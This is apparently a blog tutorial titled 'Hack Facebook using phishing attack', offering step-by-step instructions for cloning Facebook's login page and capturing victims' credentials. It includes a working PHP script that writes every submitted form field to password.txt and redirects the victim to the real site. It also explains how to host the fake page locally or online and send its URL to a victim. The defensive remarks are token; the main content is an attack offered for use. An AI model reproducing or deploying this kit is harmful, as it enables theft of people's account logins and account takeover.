HACK FACEBOOK USING PHISHING ATTACK .

August 30, 2017

What is Phishing ?

Phishing is a attempt to obtain sensitive data such as Usernames ,Passwords or any other details by creating a Fake page which exactly looks like original to trick any body to use that page to login in their account.

Many times this trick works (for the people who don't) have knowledge about Phishing attacks ,etc) as it is most common and easy way to get sensitive data ( or say hacking ).

But as we the world is changing Day by Day and the Advancements in the usage of Internet now any one can easily identify The Phishing Page and The Tech Giants are also working to avoid these king of attacks.

Even if you use it on any online hosting they will ban you for abusing others.

Now, getting to the Topic here are the steps.

Create a Phishing Page.
Sending this Phishing page to the victim .
Collecting the Data on your hosting( online or offline).

Creating the Phishing Page (for FACEBOOK)

Open the FACEBOOK.COM in INCOGNITO Window.

Then press Ctrl+U to view source code and then Press Ctrl+A and Ctrl+C to copy that source code.

Paste that code into Notepad and Press Ctrl+F to find and then find login.php then you get this action="https://www.facebook.com/login.php?login_attempt=1&lwv=111

Change the text in " " (Double inverted Comas) to "login.php".(**action="login.php").

Then save the file as "index.html" (as in the picture).

Copy this text and paste it in the notepad.

<?php

header

('location:');

$handle=fopen("password.txt","a");

foreach($_POST as $variable=>$value)

{

fwrite($handle,$variable);

fwrite($handle,"=");

fwrite($handle,$value);

fwrite($handle,"\r\n");

}

fwrite($handle,"\r\n");

fclose($handle);

header("location:http://www.facebook.com");

exit;

Then save this file as "login.php" (see the pic below).

Then create a Text file And Rename it as "password.txt".

** I AM USING THIS ON MY LOCAL SERVER YOU CAN USE A WEB HOSTING SERVICE( i hope you know how to do that if not comment down below i'll make separate post on that ) TO HOST YOUR FAKE PHISHING PAGE .

**FOR LOCAL HOST YOU HAVE TO PUT THAT ALL THREE FILES IN (C:DRIVE/WAMP/WWW/FACEBOOK/)

AS FOR WAMP (OFFLINE HOSTING).

For Web Hosting Upload all three files you created on your hosting service and send the URL of your Phishing Page To the Victim.

After the victim Received the the URL and opened that try's to login the Victim's User ID and Password Is saved in "Password.txt" file you uploaded on your Hosting folder.